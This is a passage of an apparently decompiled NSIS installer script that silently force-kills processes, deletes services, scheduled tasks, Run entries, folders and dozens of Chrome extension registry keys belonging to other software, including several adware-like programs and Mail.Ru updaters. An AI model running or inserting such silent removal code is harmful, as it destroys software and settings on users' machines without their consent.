RMDir /r /REBOOTOK $PROGRAMFILES\filter
label_15279:
IfFileExists $LOCALAPPDATA\HttpFilter 0 label_15298
nsExec::Exec "cmd /k taskkill /IM nssm.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nssm.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM dofilter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dofilter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM dofilterHost.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM dofilterHost.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run HttpFilter
DeleteRegKey HKLM SYSTEM\ControlSet001\services\dofilter
RMDir /r /REBOOTOK $LOCALAPPDATA\HttpFilter
label_15298:
IfFileExists "$PROGRAMFILES\Universal Driver Updater\unins000.exe" 0 label_15304
nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Universal Driver Updater\unins000.exe$\" /SILENT$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES\Universal Driver Updater\unins000.exe$\" /SILENT$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_15304:
IfFileExists $PROGRAMFILES64\UBar 0 label_15333
nsExec::Exec "cmd /k net stop UbarCalloutDriver"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop UbarCalloutDriver"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop UbarPolicyProvider"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop UbarPolicyProvider"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ubar.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ubar.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UbarService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UbarService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM UbarCleaner.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UbarCleaner.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UbarCalloutDriver
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UbarPolicyProvider
RMDir /r /REBOOTOK $PROGRAMFILES64\UBar
label_15333:
IfFileExists $APPDATA\ImageCropResize\ImageEd 0 label_15342
nsExec::Exec "cmd /k taskkill /IM ImageEd.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ImageEd.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ImageEd
RMDir /r /REBOOTOK $APPDATA\ImageCropResize
Delete $DESKTOP\ImageCropResize.lnk
label_15342:
IfFileExists $APPDATA\TextEditor\Daemon 0 label_15350
nsExec::Exec "cmd /k taskkill /IM TextEditor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TextEditor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\TextEditor
Delete $DESKTOP\TextEditor.lnk
label_15350:
IfFileExists $APPDATA\Calculator\preccalc.exe 0 label_15358
nsExec::Exec "cmd /k taskkill /IM preccalc.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM preccalc.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $APPDATA\Calculator\preccalc.exe
Delete $DESKTOP\Calculator.lnk
label_15358:
IfFileExists $APPDATA\Calculator\pråññàlñ.exe 0 label_15361
Delete /REBOOTOK $APPDATA\Calculator\pråññàlñ.exe
Delete $DESKTOP\Calculator.lnk
label_15361:
IfFileExists $APPDATA\daemon.exe 0 label_15368
nsExec::Exec "cmd /k taskkill /IM daemon.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM daemon.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $APPDATA\daemon.exe
label_15368:
IfFileExists $APPDATA\daemon2.exe 0 label_15375
nsExec::Exec "cmd /k taskkill /IM daemon2.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM daemon2.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $APPDATA\daemon2.exe
label_15375:
IfFileExists $APPDATA\dàåmîn.exe 0 label_15377
Delete /REBOOTOK $APPDATA\dàåmîn.exe
label_15377:
IfFileExists $APPDATA\Advancedpccare.com 0 label_15379
RMDir /r /REBOOTOK $APPDATA\Advancedpccare.com
label_15379:
IfFileExists $PROGRAMFILES\RayDld 0 label_15392
nsExec::Exec "cmd /k taskkill /IM ihpmServer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ihpmServer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Raydld.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Raydld.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ihpmServer
RMDir /r /REBOOTOK $PROGRAMFILES\RayDld
label_15392:
IfFileExists $PROGRAMFILES64\WNEn 0 label_15395
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\WNEn Monitor"
RMDir /r /REBOOTOK $PROGRAMFILES64\WNEn
label_15395:
IfFileExists $APPDATA\EasyFileOpener 0 label_15402
nsExec::Exec "cmd /k taskkill /IM efo.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM efo.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\EasyFileOpener
label_15402:
IfFileExists $APPDATA\WindowsUpdater\Updater.exe 0 label_15409
nsExec::Exec "cmd /k taskkill /IM Updater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Updater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\WindowsUpdater
label_15409:
IfFileExists $APPDATA\WindowsUpdater\Uðdàtår.exe 0 label_15411
Delete /REBOOTOK $APPDATA\WindowsUpdater\Uðdàtår.exe
label_15411:
IfFileExists $APPDATA\MicrosoftUpdater\MicrosoftUpdater.exe 0 label_15418
nsExec::Exec "cmd /k taskkill /IM MicrosoftUpdater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MicrosoftUpdater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\MicrosoftUpdater
label_15418:
IfFileExists $APPDATA\MicrosoftUpdater\MicrîsîftUðdàtår.exe 0 label_15420
Delete /REBOOTOK $APPDATA\MicrosoftUpdater\MicrîsîftUðdàtår.exe
label_15420:
IfFileExists $APPDATA\*-* 0 label_15456
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\*-*
label_15423:
StrCmp $R1 "" label_15455
IfFileExists $APPDATA\$R1\$R12.exe label_15426
IfFileExists $APPDATA\$R1\$R1.exe 0 label_15453
label_15426:
ClearErrors
SetRegView 64
EnumRegKey $1 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\$R1" $1
SetRegView 32
IfErrors label_15453
nsExec::Exec "cmd /k taskkill /IM $\"$R1.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $APPDATA\$R1\$R1.exe
Delete /REBOOTOK $APPDATA\$R1\$R12.exe
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_15453:
FindNext $0 $R1
Goto label_15423
label_15455:
FindClose $0
label_15456:
IfFileExists $APPDATA\MicrosoftUpdater\WindowsDefender.log 0 label_15468
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFTR$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"\Microsoft\Windows\WURM\ATAFRR$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\MicrosoftUpdater
label_15468:
IfFileExists "$LOCALAPPDATA\IObit installer" 0 label_15470
RMDir /r /REBOOTOK "$LOCALAPPDATA\IObit installer"
label_15470:
IfFileExists "$PROGRAMFILES\Hamster Soft" 0 label_15472
RMDir /r /REBOOTOK "$PROGRAMFILES\Hamster Soft"
label_15472:
IfFileExists $PROGRAMFILES\LiveUpdateWPP\LiveUpdateWPP.exe 0 label_15480
nsExec::Exec "cmd /k taskkill /IM LiveUpdateWPP.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LiveUpdateWPP.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager"
RMDir /r /REBOOTOK $PROGRAMFILES\LiveUpdateWPP
label_15480:
IfFileExists $PROGRAMFILES\WebProtector\webprotector_uninstaller.exe 0 label_15487
nsExec::Exec "cmd /k taskkill /IM webprotector_uninstaller.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM webprotector_uninstaller.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\WebProtector
label_15487:
IfFileExists $PROGRAMFILES\WebProtectorPlus\WebProtectorPlus.exe 0 label_15499
nsExec::Exec "cmd /k taskkill /IM WebProtectorPlus.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WebProtectorPlus.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM WebProtectorPlusServer.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WebProtectorPlusServer.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\WebProtectorPlus
label_15499:
IfFileExists $PROGRAMFILES\NosClient 0 label_15501
RMDir /r /REBOOTOK $PROGRAMFILES\NosClient
label_15501:
FunctionEnd
Function func_15502
SetShellVarContext current
IfFileExists $LOCALAPPDATA\storegid 0 label_15506
Call func_520
RMDir /r /REBOOTOK $LOCALAPPDATA\storegid
label_15506:
IfFileExists "$PROGRAMFILES\Mail.Ru\Update Service" 0 label_15524
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mrupdsrv
RMDir /r /REBOOTOK "$PROGRAMFILES\Mail.Ru\Update Service"
label_15524:
IfFileExists $LOCALAPPDATA\Mail.Ru 0 label_15549
nsExec::ExecToStack "taskkill /IM $\"mrkeeper.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrkeeper.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $LOCALAPPDATA\Mail.Ru\mrkeeper.exe
IfFileExists "$LOCALAPPDATA\Mail.Ru\Update Service" 0 label_15549
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "taskkill /IM $\"mrupdsrv.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"mrupdsrv.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mrupdsrv
RMDir /r /REBOOTOK "$LOCALAPPDATA\Mail.Ru\Update Service"
label_15549:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ccfifbojenkenpkmnbnndeadpfdiffof $0
IfErrors label_15558
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ccfifbojenkenpkmnbnndeadpfdiffof
nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_15558:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ojlcebdkbpjdpiligkdbbkdkfjmchbfd $0
IfErrors label_15567
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ojlcebdkbpjdpiligkdbbkdkfjmchbfd
nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_15567:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ahnphcmhmhcjjcjhmnnjjlbmaeljecga $0
IfErrors label_15576
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ahnphcmhmhcjjcjhmnnjjlbmaeljecga
nsExec::ExecToStack "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "taskkill /IM $\"MailRuUpdater.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
label_15576:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ehfjihahbphdpljpiadbkmgmhnfehhgi $0
IfErrors label_15580
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ehfjihahbphdpljpiadbkmgmhnfehhgi
label_15580:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\phokcamelcbnjikjgomjjadeihhbbidh $0
IfErrors label_15584
DeleteRegKey HKLM Software\Google\Chrome\Extensions\phokcamelcbnjikjgomjjadeihhbbidh
label_15584:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fbkdlibjhnblcbjjecnlpkldhbkedfhj $0
IfErrors label_15588
DeleteRegKey HKLM Software\Google\Chrome\Extensions\fbkdlibjhnblcbjjecnlpkldhbkedfhj
label_15588:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0
IfErrors label_15592
DeleteRegKey HKLM Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen
label_15592:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen $0
IfErrors label_15596
DeleteRegKey HKCU Software\Google\Chrome\Extensions\kmafjceipgfaoldhhbkgdihfbjaioaen
label_15596:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0
IfErrors label_15600
DeleteRegKey HKLM Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk
label_15600:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk $0
IfErrors label_15604
DeleteRegKey HKCU Software\Google\Chrome\Extensions\jedpddonjeogeldhkkbpdachllhdfknk
label_15604:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\oelpkepjlgmehajehfeicfbjdiobdkfj $0
IfErrors label_15608
DeleteRegKey HKLM Software\Google\Chrome\Extensions\oelpkepjlgmehajehfeicfbjdiobdkfj
label_15608:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok $0
IfErrors label_15612
DeleteRegKey HKLM Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok
label_15612:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm $0
IfErrors label_15616
DeleteRegKey HKLM Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm
label_15616:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bgcifljfapbhgiehkjlckfjmgeojijcb $0
IfErrors label_15620
DeleteRegKey HKLM Software\Google\Chrome\Extensions\bgcifljfapbhgiehkjlckfjmgeojijcb
label_15620:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok $0
IfErrors label_15624
DeleteRegKey HKCU Software\Google\Chrome\Extensions\aeembeejekghkopiabadonpmfpigojok
label_15624:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm $0
IfErrors label_15628
DeleteRegKey HKCU Software\Google\Chrome\Extensions\lbjjfiihgfegniolckphpnfaokdkbmdm
label_15628:
ClearErrors
EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod $0
IfErrors label_15632
DeleteRegKey HKCU Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod
label_15632:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod $0
IfErrors label_15636
DeleteRegKey HKLM Software\Google\Chrome\Extensions\fcimjkehglmijlhnpbmjbpoiamjiegod
label_15636:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mkndcbhcgphcfkkddanakjiepeknbgle $0
IfErrors label_15640
DeleteRegKey HKLM Software\Google\Chrome\Extensions\mkndcbhcgphcfkkddanakjiepeknbgle
label_15640:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gfimgicdombnijnjgpckdjhnjmaapafj $0
IfErrors label_15644
DeleteRegKey HKLM Software\Google\Chrome\Extensions\gfimgicdombnijnjgpckdjhnjmaapafj
label_15644:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gkbehdibccccaklbchjdjkpifikjiclo $0
IfErrors label_15648
DeleteRegKey HKLM Software\Google\Chrome\Extensions\gkbehdibccccaklbchjdjkpifikjiclo
label_15648:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\pnooffjhclkocplopffdbcdghmiffhji $0
IfErrors label_15652
DeleteRegKey HKLM Software\Google\Chrome\Extensions\pnooffjhclkocplopffdbcdghmiffhji
label_15652:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ofdgafmdegfkhfdfkmllfefmcmcjllec $0
IfErrors label_15656
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ofdgafmdegfkhfdfkmllfefmcmcjllec
label_15656:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ilamgbdaebkbpkkmfmmfbnaamkhijdek $0
IfErrors label_15660
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ilamgbdaebkbpkkmfmmfbnaamkhijdek
label_15660:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\njabjmhinndphfnbjehdalkphpdmepli $0
IfErrors label_15664
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\njabjmhinndphfnbjehdalkphpdmepli
label_15664:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\bgomnbpelpcdicbnicimghcecemjpbef $0
IfErrors label_15668
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\bgomnbpelpcdicbnicimghcecemjpbef
label_15668:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kppacdmmddediahklmcgkgdhhoojemmd $0
IfErrors label_15672
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kppacdmmddediahklmcgkgdhhoojemmd
label_15672:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jaeahnnfohikjnejpokeaaiinijhpfop $0
IfErrors label_15676
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jaeahnnfohikjnejpokeaaiinijhpfop
label_15676:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fopefgobkmblbipkdebgnnlclchlakom $0
IfErrors label_15680
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fopefgobkmblbipkdebgnnlclchlakom
label_15680:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kjlpdpfmpoggibmjgmbaoidffidifakh $0
IfErrors label_15684
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kjlpdpfmpoggibmjgmbaoidffidifakh
label_15684:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\jkagakiplhpgacmegfblcddbckenmiio $0
IfErrors label_15688
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jkagakiplhpgacmegfblcddbckenmiio
label_15688:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\fidibeiehaokohhbnkdjmkcapgnndfkc $0
IfErrors label_15692
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fidibeiehaokohhbnkdjmkcapgnndfkc
label_15692:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\mfmjpfoggikolkfilofbpgcnhdcgahib $0
IfErrors label_15696
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\mfmjpfoggikolkfilofbpgcnhdcgahib
label_15696:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\pgaidlfgjkmeendhknafahppllbniejm $0
IfErrors label_15700
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pgaidlfgjkmeendhknafahppllbniejm
label_15700:
ClearErrors
EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\pfjgibhmcgncmjhdodpaolfbjpjjajal $0
IfErrors label_15704
DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pfjgibhmcgncmjhdodpaolfbjpjjajal
label_15704:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\aamfmnhcipnbjjnbfmaoooiohikifefk $0
IfErrors label_15708
DeleteRegKey HKLM Software\Google\Chrome\Extensions\aamfmnhcipnbjjnbfmaoooiohikifefk
label_15708:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ooebklgpfnbcnpokahmdidgbmlcdepkm $0
IfErrors label_15712
DeleteRegKey HKLM Software\Google\Chrome\Extensions\ooebklgpfnbcnpokahmdidgbmlcdepkm
label_15712:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mdeldjolamfbcgnndjmjjiinnhbnbnla $0
IfErrors label_15716
DeleteRegKey HKLM Software\Google\Chrome\Extensions\mdeldjolamfbcgnndjmjjiinnhbnbnla
label_15716:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\mhoginfgkdilnncbigagbkpfccbokgib $0
IfErrors label_15720
DeleteRegKey HKLM Software\Google\Chrome\Extensions\mhoginfgkdilnncbigagbkpfccbokgib
label_15720:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fjbbjfdilbioabojmcplalojlmdngbjl $0
IfErrors label_15724
DeleteRegKey HKLM Software\Google\Chrome\Extensions\fjbbjfdilbioabojmcplalojlmdngbjl
label_15724:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\flliilndjeohchalpbbcdekjklbdgfkk $0
IfErrors label_15728
DeleteRegKey HKLM Software\Google\Chrome\Extensions\flliilndjeohchalpbbcdekjklbdgfkk
label_15728:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bpgangmffjcofiknibcmfjionicohfgj $0
IfErrors label_15732
DeleteRegKey HKLM Software\Google\Chrome\Extensions\bpgangmffjcofiknibcmfjionicohfgj
label_15732:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\bgbgnhmfbcifpkjofoojfplmfkmaiadn $0
IfErrors label_15736
DeleteRegKey HKLM Software\Google\Chrome\Extensions\bgbgnhmfbcifpkjofoojfplmfkmaiadn
label_15736:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\nbifdkmdojgmpmopdebnjcobekgdoncn $0
IfErrors label_15740
DeleteRegKey HKLM Software\Google\Chrome\Extensions\nbifdkmdojgmpmopdebnjcobekgdoncn
label_15740:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\iflppbjnpneiigcbdfjpnkebidmkjmoi $0
IfErrors label_15744
DeleteRegKey HKLM Software\Google\Chrome\Extensions\iflppbjnpneiigcbdfjpnkebidmkjmoi
label_15744:
ClearErrors
